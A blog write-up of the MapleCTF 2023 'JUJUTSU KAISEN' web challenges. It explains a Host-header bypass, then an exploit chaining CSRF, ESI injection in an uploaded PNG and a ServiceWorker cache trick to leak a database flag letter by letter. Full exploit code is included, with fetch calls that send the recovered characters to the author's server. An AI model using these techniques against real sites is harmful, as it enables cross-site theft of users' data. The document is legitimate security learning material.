Monday, October 2, 2023

CTF Writeup: JUJUTSU KAISEN 1 & 2 @ MapleCTF-2023

This weekend I participated in MapleCTF, coming in 33rd overall. It was a great competition, with lots of interesting problems. I ended up spending most of my time on "JUJUTSU KAISEN 2". I didn't even have time to look at the two harder web problems. Overall I'm pretty proud of how I did in this competition, given that I was playing it solo and only 8 teams got the second Jujutsu problem.

I learned a lot, especially about ServiceWorkers, solving this problem. Without further ado, here's how I solved this challenge:

The Challenge

  • Points: 223 and 476 (for 1 and 2 respectively)
  • Number of solves: 26 and 8.
  • Links: 1, 2

We are given a zip file containing a docker-compose setup with a number of services. They are:

  • An nginx load balancer that connects to the varnish cache and provides TLS termination.
  • Varnish caching layer that can connect to either the front-end app or the GraphQL backend.
  • A front-end node.js app (jjk_app).
  • A backend graphQL server (jjk_db) that powers the front-end app.
  • A report bot (You give it a url, it then launches google chrome, logs into the app and navigates to a website of your choosing).
  • A redis server backend for the report bot.

The front-end app is behind a login. You cannot register new accounts and you do not know the password (But the report bot does log in before visiting your site). The front-end app has two endpoints of interest, both behind auth. A characters list powered by the GraphQL backend, including the flag, and a "/newchar" endpoint that allows you to upload an image that is saved to the server.

The flag is in the DB, so you either need to get it from the front-end endpoint the shows the query, or you need to get it from the DB more directly.

The first challenge

There were two versions of this challenge. This is usually means that there was some sort of unintended solution, which the second harder version has patched.

Since we have the source code for both challenges, you can see how they differ in case that gives us a hint.

$ diff -ur jjk1/ jjk2/

[omitting some inconsequential minor changes for space]

diff -ur jjk1/nginx/default.conf jjk2/nginx/default.conf
--- jjk1/nginx/default.conf    2023-09-29 16:23:05.000000000 -0700
+++ jjk2/nginx/default.conf    2023-09-30 01:30:28.000000000 -0700
@@ -1,7 +1,7 @@
 server {
         listen 443 ssl;
-        server_name localhost;
+        server_name;
         ssl_certificate /etc/nginx/ssl/nginx.crt;
         ssl_certificate_key /etc/nginx/ssl/nginx.key;
@@ -11,6 +11,6 @@
             proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
             proxy_set_header X-Forwarded-Proto https;
             proxy_set_header X-Forwarded-Port 443;
-            proxy_set_header Host $host;
+            proxy_set_header Host "jjk_app";
\ No newline at end of file

This seems like a pretty clear hint that the solution to version 1 has something to do with the host header. It is the only thing of consequence that was modified.

There's pretty much only one thing you can do with a host header - change it. But what should we change it to?

Looking at the varnish config file, we see:


sub vcl_recv {
    if ( ~ "jjk_db" && std.ip(client.ip, "") ~ internal) {
        set req.backend_hint = db_backend;
    } else {
        set req.backend_hint = app_backend;

So basically, there are two backends varnish can connect to depending on the host header. The IP ACL check may look concerning at first. However this check should be checking the X-Real-IP or X-Forwarded-For header, instead of the actual IP. The actual IP would be the nginx load balancer IP, which is always internal. Hence this check is ineffective.

In any case, clearly the other possible value for the host header is "jjk_db". Given we have strong suspicions something is wrong with how host headers are handled, it seems natural to try this other value.

Sure enough, if we set the host header to "jjk_db", we end up being connected directly to the GraphQL backend, and can query the flag.

$ curl -g '{getCharacters{edges{node{notes}}}}' --header 'Host: jjk_db'

which gave us the flag.

The second challenge

Without the diff providing a hint as to where to look, we are going to have to go over the challenge in much more detail.

Usually when doing a CTF challenge, the first thing I do is look for the stuff that is out of place. Often challenges are written to use fairly standard tech choices for most of it, and then do something weird just for the vulnerable part. A good first step is to imagine you have been asked to do code review on the app. What parts would you flag as "needs improvement" or otherwise don't make sense? Those parts are usually key to solving the problem.

The first thing that stands out to me like a sore thumb is the varnish config.

Here is the full default.vcl

vcl 4.1;
import std;

backend app_backend {
    .host = "jjk_app";
    .port = "9080";   

backend db_backend {
    .host = "jjk_db";
    .port = "9090";   

acl internal {

sub vcl_backend_response {
    set beresp.do_esi = true;

sub vcl_recv {
    if ( ~ "jjk_db" && std.ip(client.ip, "") ~ internal) {
        set req.backend_hint = db_backend;
    } else {
        set req.backend_hint = app_backend;

Additionally, if we look in docker-compose.yml, we see that varnish is started with an unusual command line argument: -p feature=+esi_disable_xml_check 

All this sticks out for a number of reasons:

  • It would be kind of unusual in general for a CTF challenge to have varnish caching if it wasn't part of the solution to the problem
    • Especially because load balancing is already being handled by nginx
    • Especially because it is mostly configured not to cache anything (Some static assets and 404 pages do get cached, but nothing that would be expensive to generate)
  • It is weird how jjk_db is configured as a backend, despite the fact that jjk_app does not route through varnish but instead contacts jjk_db directly
  • ESI while not totally unheard of, is somewhat of an obscure technology. Obscure technology choices should always raise eyebrows during CTFs.
    • More importantly, the challenge does not actually use ESI to render anything. So why is it explicitly enabled?
  • The custom command line argument is especially eyebrow raising. It is disabling a check for a technology that is not even used in the challenge. That sounds like it will be needed for the solution.

What is ESI?

It seems that there are a lot of hints here that ESI (Edge-side includes) is going to be important to this problem. So what is it?

ESI is a technology to allow CDN cache servers (e.g. varnish) to construct a page from multiple parts. You might want to use it if you want to cache different parts of your page for different times, or combine the results of different services into one page.

In essence, if you put <esi:include src="http://host/something.htm"/> in a page, the cdn server will substitute that url into the page at that point.

This should get our security spidey-senses going - it seems a bit like an SSRF. If we can sneak an ESI tag into the page, we can perhaps fetch the results of some page we are not normally allowed to access.

There is a big restriction though - in the varnish implementation you can only request urls that the varnish server is able to handle. You cannot request arbitrary urls from the internet.

What about the -p feature=+esi_disable_xml_check? I hadn't heard of this before, but a quick look at the official docs reveal that it makes varnish process ESI on all responses. By default ESI if enabled would only process responses that look like HTML (start with a <). With this feature enabled, other responses, including images, get processed too. The importance of this will soon become apparent.

The rest of the App

The varnish config sticks out the most, but what else sticks out in this challenge? The most obvious is the existence of a report bot. This indicates that the challenge will have some sort of client-side component. But what type of client-side attack? Normally my go to thought would be XSS since that is the most common type of client-side vuln, but there is another big hint in the jjk_app that indicates that this is more likely a CSRF challenge:

From app/

    SESSION_COOKIE_HTTPONLY=True, # default flask behavior just does this

Setting SESSION_COOKIE_SAMESITE='None' clearly sticks out here. It should always stick out in a CTF challenge when a secure default is changed to something less secure.

Making cookies be SameSite="none" tells browsers to disable CSRF mitigations, and allow cookies to be sent on cross-site requests. This is a sure sign that CSRF is part of problem. Additionally, the challenge does not have any CSRF tokens, the traditional way to prevent CSRF from before SameSite cookies were a thing.

Interaction points

Once I have identified the things that are weird, my next step is to usually try and identify places in the app where interactions happen. Security vulns usually happens at the boundries between systems or between systems and users, so it is good to have a sense of where these are.

In this app we have (excluding entirely static endpoints):

  • A login page (but no credentials)
  • An api endpoint to view the list of characters as json, including flag, but no way to access it as it is behind login. Behind the scenes this makes a GraphQL query to jjk_db and displays the results. [This ends up being totally useless, but seems tantalizing at first glance]
  • A /newchar API endpoint (behind auth), that allows us to submit a new character to the DB. However the part that actually modifies the DB is commented out, so the only thing we can do is upload a PNG file of the new character. Upoon success, this endpoint will redirect your POST request to the location of the newly uploaded file. This is the only write endpoint in the app
    • File uploads are usually a security sensitive spot, so i spent some time looking through the upload code, but it all looked very secure to me. It does not care if the PNG file is valid, but there is no way to upload something with the wrong extension/content-type.

The challenge also provides a report bot. The report bot logs into the app (and thus getting cookies) and then goes to a URL provided by us. Given we already identified as CSRF being the likely issue due to disabling SameSite cookies, and there is only one write endpoint, this suggests that the attack involves a CSRF attack against the image upload newchar api as there are no other entry-points to attack.

Putting together a plan of attack

Based on the things that stood out while reading through the code, the pieces start to come together and a rough plan of attack unfolds:

  • Use CSRF to upload a "PNG" file cross-domain
  • Put ESI directives in the PNG file to query the GraphQL endpoint to retrieve the flag and insert it into the PNG file
  • Somehow retrieve the PNG file to get the flag (???)
  • Profit!

The third step, extracting the PNG file, is the hard part of this challenge. Lets put that aside for the moment, and talk about the first two steps first. The easiest step is making a PNG file with an ESI directive in it, so lets start there.

PNG file with ESI directives

This is pretty easy. The code does not care if the PNG file is valid, so we can just create a file containing:

<esi:include src="http://jjk_db/?query={getCharacters{edges{node{notes}}}}"/>

Name it something ending in .png, and we are good to go. To test this, i ran the app locally (docker-compose up). Since this is local, i know the username and password are "placeholder". To test, i simply navigated to https://localhost/newchar and filled out the form with the image (GET to this endpoint shows a form, POST does the upload).

When i first did this, it didn't work. I had forgotten the ending /. Varnish's ESI implementation requires the tag to be self-closing or it ignores it. To debug this, i did docker-compose exec varnish varnishlog which gives detailed debug logs of varnish's processing including ESI error messages. varnishlog and varnishncsa (basically the varnish access log) commands were quite helpful during debugging.

Once we hit submit on the form, we a redirected to the now uploaded image. Since we didn't make a real image, firefox shows it as broken, but if we download the image and open it in a text editor, we see the flag is present.

This feels like a promising step. We uploaded a file, which when retrieved has the flag in it. However we still have some ways to go. We were only able to upload because this is the local instance we know the password to. In the real challenge we must upload from having the report bot navigate to our website, so we have to find a way to do this cross-domain. We also need some way to obtain the PNG afterwards, again cross-domain despite the same origin poicy.

Uploading cross domain with CSRF

In the real challenge we cannot upload directly to the site, because it is behind a password we do not know.

We do have the report bot. We can send urls for the report bot to visit, which it does after logging in. This is what the bot looks like:
        await loginPage.goto(`${CHALL_DOMAIN}/login`, {
            waitUntil: 'networkidle2',
            timeout: 2 * 1000,
        await loginPage.type('#username', ADMIN_USERNAME);
        await loginPage.type('#password', ADMIN_PASSWORD);
        await loginPage.evaluate(() => {
        await loginPage.waitForNavigation({
            waitUntil: 'networkidle2',
            timeout: 2 * 1000,

        const resp = await page.goto(url, {
            waitUntil: 'load',
            timeout: 3 * 1000,

The "url" variable is the url we submit. Luckily for us, this challenge sets SameSite=None on all cookies as previously mentioned. Additionally the write endpoints are not protected with CSRF tokens. This means any requests to the challenge domain, including cross domain ones, will have the appropriate cookies and be logged in.

Many people assume that the web browser same origin policy prevents all communication between separate domains on the web unless relaxed via CORS. This is not true. If the same origin policy was a file permission, it would be -WX (write & execute). You can write (POST) content to other domains, for example via form submission or AJAX. You just cannot read the results. Similarly you can execute, i.e. load javascript or CSS from other domains. The only thing it prevents is javascript from reading cross-domain content. You can even display cross-domain content, for example in <img> tags, as long as javascript does not have access to it (This is important later).

With that in mind, there's two ways we can upload cross domain. We can simply make an html form submitted via JS:
<form id="myform" action="" method="POST" enctype="multipart/form-data">
   <input type="file" id="file" name="file" value="Upload Image">
   <input type="submit">
  var b64 = "base64 encoded PNG file here";
  var bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0))
  var f = new File([bytes], "a.png", { type: 'image/png' });
  var dataTransfer = new DataTransfer();
  document.getElementById( 'file' ).files = dataTransfer.files;
  document.getElementById( 'myform' ).submit();
Alternatively, you can use AJAX:
  /* Make sure we upload this as a "file" not normal POST parameter */
  var b64 = "base64 encoded PNG file here";
  var bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0))
  var f = new File([bytes], "a.png", { type: 'image/png' });
  var form = new FormData();
  form.append( 'file', f );
  fetch( "", {
    mode: 'no-cors' /* Do not use CORS, since we are not authorized under cors. This causes the result to be opaque. */
    credentials: 'include', /* include the login cookies that the bot got when logging in so this request is logged in as Admin, despite not knowing the admin's password. */
    body: form, /* This automatically changes the Content-Type header */
    method: 'POST'
  } ).then( result => { /* result is opaque */ } );
In both cases, the result of the request is unusable. For the form, you navigate the page to a new domain and no longer have control over it to access to it. With AJAX, the result object returned is opaque so you cannot read the result. Nonetheless, that is one problem down, now are we need to figure out is how to read the PNG.

[Note: All this might change when chrome eventually implements storage partitioning. Firefox already does this if enhanced tracking protection is enabled]

Extracting the PNG

So this seems like a lot of progress. We can give the report bot our website, our website can upload a PNG file to the site, which when served has the flag in it.

But how do we get the flag? We cannot read the PNG file, as it is cross domain and the same origin policy prevents us.

Here's a couple things I tried that didn't work:
  • XSSI - You can load javascript & CSS cross domain. You could make the png file be something like var data = "secret stuff"; include it in your page, and then read the variables in js. The problem is that modern browsers require correct mime types if your JS or CSS is cross domain. So this would have worked in older browsers but not recent ones.
  • Cache pollution. I played with the idea of trying to use the varnish cache as a side channel to leak the data. e.g. Forcing the answer to be cached a letter at a time and then trying to retrieve it later from a different host by looking at the age header when retrieving specific urls. The problem is that varnish seems to not be configured to cache the results of backend ESI fetches, so i wasn't able to alter the cache state from ESI afaict.
  • <img> tags. Image tags have onerror and onload event handlers that distinguish between valid and invalid image files even cross domain. They also leak the width/height of the file (including 0x0 if invalid). This did not work because we do not know the url of the image, we only know we get redirected there after a POST. We can only set the img src to do a GET (However, this turns out to be not quite true, and is really important later)
  • Timing oracle - we basically have a blind DB injection. If this was SQL i would be injecting sleep(5) and checking how long the request took to load. However GraphQL doesn't support sleeps or other complex operations one could easily construct a timing oracle out of. That said, after the competition, i found out some teams did solve it this way by forcing graphQL to make a really big multi-mb response, which was slow enought to be detected. I did not think of this.
  • <object> tags. An <object> tag is like a weird combination of <img> and <iframe>. Like <img> you can distinguish between valid & invalid images using onload events. However you can also navigate them like an iframe. I spent a lot of time trying this but it ultimately did not work. More on this below

So none of these seemed to work immediately. However it did seem clear that given a PNG file, it is possible to leak cross domain whether or not the PNG file is a valid PNG file. This feels like something we could do with ESI. At this point I mistakenly thought I could use the <object> tag to leak this validity info cross domain. I was on the right track but <object> was the wrong approach. In any case I decided to create a payload that would leak the flag based on whether or not the resulting PNG is valid.

Making a PNG validity oracle

This was actually fairly easy. The goal here would be to leak the flag a byte at a time.

The graphql endpoint supports LIKE queries, so if we want to test to see if the flag starts with the letter A, we can do a query like:
    getCharacters( filters: {notesLike: "maple{A%"} )
    { edges {node {notes} } }

If one of the notes items contains the string "maple{A", the result is returned, otheriwse an empty result is returned (i.e. {"data":{"getCharacters":{"edges":[]}}}). We try this for every letter, until we get one, and then move on to the next letter, and so on.

To make this work, I first prepared a file that would contain the empty result inside it:

exiftool -Artist='{"data":{"getCharacters":{"edges":[]}}}' file.png

exiftool adds the empty result to the file's metadata.

I then opened the file in vim, found the inserted part, and replaced it with the text: <esi:include src='http://jjk_db:9090/?query={getCharacters(filters:{notesLike:"maple{XXX%25"}){edges{node{notes}}}}'/>
This of course makes the PNG file invalid, as it is now spilling into the next chunk rendering the hash incorrect, but that's ok. The idea would be the post-process the file, replacing XXX with whatever letters we are currently checking.
After the file is uploaded, varnish replaces the ESI directive. If no match is found, a GraphQL empty response is inserted, which makes the PNG file once again valid. Otherwise a longer response is inserted, which overflows the text metadata block, making the entire PNG file invalid. We now have our validity oracle. 

<object> tag

Initially I thought the <object> tag would be my best bet. Originally meant for plugins, in the modern web it acts sort of like a mix between an <img> tag and an <iframe>. When given a (non-svg) image file, it acts as an <img> tag, otheriwse it acts like an <iframe>

Like an <img> tag, it has onload & onerror event handlers (as well as leaking img dimensions). It can navigate like an iframe, but if loading an invalid <img> it won't trigger the onload handler (where an iframe will trigger onload even for invalid images). The important thing here, is onload triggers on every new valid navigation (in firefox anyways).

Thus a plan formed:
  • Create an HTML document with a <form> that uploads this png file and auto submits via javascript (See the snippet in the earlier "Uploading cross domain with CSRF" section)
  • Load this form in an <object> tag with an onload handler
  • If the onload handler triggers once, then we know we have an invalid file (And hence guessed the flag prefix correctly). If it triggers twice, then we have a valid png and our guess is wrong.

This seems great. I implemented it and tested it out locally in firefox. It Worked (Assuming enhanced tracking protection is off)!

Problem solved, right? Not so fast.

I tried submitting my script to the report bot, and it did not work. As i debugged further, I realized that the report bot is using headless chrome, where I was testing in firefox. Appearently <object> is implemented quite differently between firefox and chrome.

In chrome we only get the onload event once, not every navigation. Additionally the object tag seems to choose whether it is an <img> or an <iframe> at initialization time. In <img> mode we get the different events with valid vs invalid, it adjusts the size based on the img, and svgs are run without scripts. On the other hand, in <iframe> mode, we do not get a distinction between valid & invalid images (both trigger onload events), the size of the element does not adjust for different size raster images (oddly enough it does adjust size for SVGs) and SVGs are run with scripts enabled.

It seems like it decides what mode to be in, first by looking at the type attribute. If that's missing then it looks at the extension in the url of the data attribute. If it ends up guessing wrong and being in <img> mode for something that has a Content-Type that is not an image, it appears to change into iframe mode and restart the load (i.e. you see two loads of the resource in the network tab). All this seems to only occur when first initializing. Once it is initalized it does not appear to change mode with future navigations.

All that's to say, my plan won't work. To get the events I want I need it to be in <img> mode, but i need it to first be in <iframe> mode to do the form submission. <object> has a target attribute potentially letting you submit a form into it from the outside, but that only works in <iframe> mode. So this seems a bit like a dead end. I can have one or the other behaviour, but I actually need a mix of both behaviours.

I tried a lot of things here for a long time, and nothing was working. At some point I had the bright idea to use ServiceWorkers.

Enter service workers

ServiceWorkers are a web browser feature where the javascript on your page can essentially act as a MITM proxy, manipulating network requests for your page. Once you install the ServiceWorker javascript, it stays resident in the background, intercepts all requests to your site, and then can either let them through, cache them, or give a custom response. The idea is to allow web authors to implement custom caching schemes or offline access to their websites.

This seemed perfect for my needs. I could preload the POST form submission, and cache it. Then when I load the object tag I could make it load the cached POST submission instead of the normal behaviour of a brand new GET request being issued. Hopefully that would let me view the /newchar endpoint with <object> in img mode, and have the onload handler indicate if the image is a valid PNG.

At first I wasn't sure if you can cache a POST request in ServiceWorkers, being non-idempotent and all. Turns out it doesn't really matter, you can substitute pretty much any response for any other with ServiceWorkers. It even works for cross-domain requests (You cannot read them and there are some restrictions related to that, but you can subtitute them for each other if it is the same type of request).

However there was a problem. <object> tags in chrome do not seem to use service workers at all. Kind of weird. Generally <iframe>'s do not if they are cross-domain since that is considered a separate browsing context to a separate website and not part of your site anymore. However, object tags do not seem to use ServiceWorkers at all, even if in the same domain, and even if in image mode.

When playing with this I did notice that if there was an <img> tag already on the page for some reasource, then the <object> tag would use that as a cache if it was in img mode, even if that <img> tag was fed by a ServiceWorker. So this presented a plan:
  • Do a POST submission of the form using ajax. Make ServiceWorker cache it.
  • Load the url in an <img> tag, ensuring the ServiceWorker uses the cached response
  • Load the <object> tag, which would use the <img> tag as a source, allowing us to look at onload events.

I started implementing this, but then realized it was pretty silly. <img> tags also have onload/onerror events. There is no need to bother with the <object> tag if i can load the result of the form submission into an <img>. With that in mind i ditched the last step and just used the <img> tag.

Finally putting it altogether

So to summarize, here is where we are at:
  • Create a PNG file with an <esi:include> tag in it
  • The esi:include tag does a GraphQL query allowing us to guess one letter of the flag. If the guess is incorrect the PNG file is valid, otheriwse it become invalid.
  • Make a CSRF request to the jjk_app uploading the png file. Have the service worker cache the response
  • Load an <img> of the same url, ensuring the ServiceWorker uses the cached POST result
  • Install onload and onerror handlers to the <img> tag
  • If the onload handler is triggered the guess is incorrect and we try the next letter in the alphabet. If the onerror handler is triggered, the guess is correct. Save the letter and start guessing the next letter in the flag.
  • Once we have the flag, make an ajax request back to our server to tell us what it is.
The ServiceWorker code is pretty simple - if the requested url does not contain /newchar, ignore it and let the browser handle it. Otherwise, check the cache, if we have a cached entry for that url (including POST requests) use that. Otherwise we request the url from the internet, and store it in cache. When storing it, we store it just under the url and not the original Request object so we can ensure that the POST requests will match later GET requests for the same URL.
The end result, is if we first make an AJAX post request to the /newchar API endpoint, that will be fetched and cached. The subsequent GET request to the endpoint will be served from cache, using the result from the POST request instead of making a new GET request. This is despite the fact the method is different, the requests have different cookies and one of them includes a file upload.
Here's the code for my service worker (service-maple.js):
function log(a) {
    //fetch( '' + encodeURIComponent(a), { "mode": "no-cors" } );

self.addEventListener('install', event => {
    log( "Service worker installed" );

self.addEventListener('activate', event => {
    log( "activating service worker" );
    // Take over tabs immediately instead of waiting for next page load

// This intercepts all network loads.
self.addEventListener('fetch', event => {
    log( "ASKING for " + event.request.method + ' ' + event.request.url + ' in ' + event.request.mode + ' ' + event.request.destination );
    if ( event.request.url.indexOf( '/newchar' )  === -1 ) {
        log( "skipping " + event.request.url );
        // ignoreMethod probably not strictly needed here, since we don't save the original Request object in cache.
        caches.match(event.request, { ignoreMethod: true, ignoreVary: true }).then(cachedResponse => {
            if (cachedResponse) {
                log( "SERVING " + event.request.method + ' ' + event.request.url + " from cache" );
                // The docker image has a small space quote so delete when done.
                caches.delete( event.request.url );
                return cachedResponse;

            return"mycache").then(cache => {
                // We don't have the response, so fetch it from internet.
                return fetch(event.request).then(response => {
                    // Put a copy of the response in cache. Note we save it under event.request.url
                    // instead of event.request, to ensure the fact it is a POST request was not saved.
                    return cache.put(event.request.url, response.clone()).then(() => {
                        log( "STORE_IN_CACHE " + event.request.url );
                        return response;
                }).catch( function (err) {
                    log( err );
                    // Don't want an error to take down the whole service worker, so return a dummy response.
                    return new Response(new Blob(), {status:500} );
                } );
All that is left is the code that makes use of the service worker. We convert the PNG file into an array of 8-bit integers split among two variables. We put our guess in the middle. We then make the POST request, followed by loading the same url as an image. If the onload event handler is triggered from the image, we know we have a valid PNG image, and our guess of the flag is wrong, so we try the next letter in the alphabet. If the onerror handler triggers, we know the PNG file is invalid (or a network error happened, the session cookie wasn't present, or something else went wrong, etc. This can be flakey). This means our guess was correct, so we found a letter of the flag and need to move on to the next letter.
The resulting exploit code (maple-jjk-explot.htm) looks like this:

// Load the service worker.

function start() {
    // Put a little delay to make sure ServiceWorker is activated
    // More proper solution would be to postMessage after activation.
    window.setTimeout( tryNext, 600 );

const imgStart =  [137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 0, 1, 0, 0, 0, 1, 1, 3, 0, 0, 0, 37, 219, 86, 202, 0, 0, 0, 6, 80, 76, 84, 69, 0, 128, 0, 255, 255, 255, 20, 63, 47, 79, 0, 0, 0, 46, 116, 69, 88, 116, 65, 114, 116, 105, 115, 116, 0, 60, 101, 115, 105, 58, 105, 110, 99, 108, 117, 100, 101, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 106, 106, 107, 95, 100, 98, 58, 57, 48, 57, 48, 47, 63, 113, 117, 101, 114, 121, 61, 123, 103, 101, 116, 67, 104, 97, 114, 97, 99, 116, 101, 114, 115, 40, 102, 105, 108, 116, 101, 114, 115, 58, 123, 110, 111, 116, 101, 115, 76, 105, 107, 101, 58, 34, 109, 97, 112, 108, 101, 123 ];

const imgEnd = [37, 50, 53, 34, 125, 41, 123, 101, 100, 103, 101, 115, 123, 110, 111, 100, 101, 123, 110, 111, 116, 101, 115, 125, 125, 125, 125, 39, 47, 62, 30, 68, 92, 77, 0, 0, 0, 10, 73, 68, 65, 84, 8, 91, 99, 96, 0, 0, 0, 2, 0, 1, 98, 64, 79, 104, 0, 0, 0, 0, 73, 69, 78, 68, 174, 66, 96, 130, 10 ];

// Cache busting for ease of testing.
const rand = Math.random();

const urlParams = new URLSearchParams(;
var flagGuess = urlParams.get('prefix') || '';

const urlPrefix = urlParams.get( 'url' )
// During testing use: 'https://nginx/newchar?guess='
// for the real deal use: '';

var a = [ "---", "---","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", '}' ];

var i = 0;

// Generate our image to upload.
function getFormData(url) {
    var guess = url.substring(urlPrefix.length);
    var imgMid = [];
    for (var i = 0; i < guess.length; i++ ) {
        imgMid[imgMid.length] = guess.charCodeAt(i);

    var form = new FormData();
    var blob = Uint8Array.from(imgStart.concat( imgMid, imgEnd) );
    var f = new File([blob], "a.png", { type: 'image/png' });

    form.append( 'file', f );
    return form;

// Invalid PNG file means guess was succesful. Save and move to next letter in flag.
function onerr(e) {
    console.log("SUCCESS " +;
    // Report back on success.
    fetch( "" + + '?' + rand, { "mode": "no-cors" } );
    if ( === '---' ) {
        // Hack, sometimes the first attempt wasn't working.
    flagGuess =;
    if ( flagGuess.length < 40 ) {
        i = 0;

// PNG was invalid or first time. Try next letter in alphabet.
function tryNext(e) {
    if ( e ) {
        console.log( "failed: " + );
        fetch( "" +, { "mode": "no-cors" } );
    if ( i >= a.length ) {
        fetch( "" + flagGuess  + '?' + rand, { "mode": "no-cors" } );
        console.log( "tried all" );
    console.log( "Setting: " + flagGuess + a[i] );
    fetch( urlPrefix + flagGuess + a[i] + '&bust=' + rand, {
        mode: 'no-cors',
        credentials': 'include', /* include login cookies */
        body: getFormData( urlPrefix + flagGuess + a[i] ),
        method: 'POST'
    } ).then( result => {
        window.setTimeout( function () {

            var elm = new Image();
            elm.title = flagGuess + a[i];
            elm.onerror = onerr
            elm.onload = tryNext;
            elm.src = urlPrefix + flagGuess + a[i] + '&bust=' + rand;

        }, 100 );
    } )
<body onload="start()">jjk script.

For ease of testing, the code looks at its own url to decide what the challenge url is. Because the bot may timeout before completely extracting the flag, there is also a 'prefix' parameter for the part of the flag we have already figured out so we can start again in the middle of a guess.

If testing locally in browser (pro-tip: start chromium with --ignore-certificate-errors I wasted a lot of time on cert errors), we would log into the app first and use a url like

When testing with the actual challenge but locally, we use a url like:

Finally, when doing the real thing, we use a url like:

To see the answer we tail -f /var/log/apache2/access.log: - - [01/Oct/2023:21:57:03 +0000] "GET /map/YES/tooattachedforgottolookforunintendeds%7D?0.3308756734724301 HTTP/1.1" 404 512 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/ Safari/537.36"

Thus the flag is maple{tooattachedforgottolookforunintendeds}


I spent a lot of time working on this problem, and got it fairly close to the end of the competition with only a few hours to spare. As the hours went by I knew I was making progress but was also really worried I would not figure it out in time. Luckily I got it with only 2 hours to spare.
It was quite a fun problem, and tought me a lot about web browsers. I now have some truly useless knowledge about how <object> tags work in chrome and some somewhat more useful knowledge about ServiceWorkers, which is a really cool javascript API I wasn't very familiar with previously.

Thank you to the event organizers Maple Bacon for providing a great event.

addendum: This write up came top 5 for the MapleCTF write-up competition. I've never been in the top 5 for a write-up competition before, just wanted to say thank you to everyone :)

No comments:

Post a Comment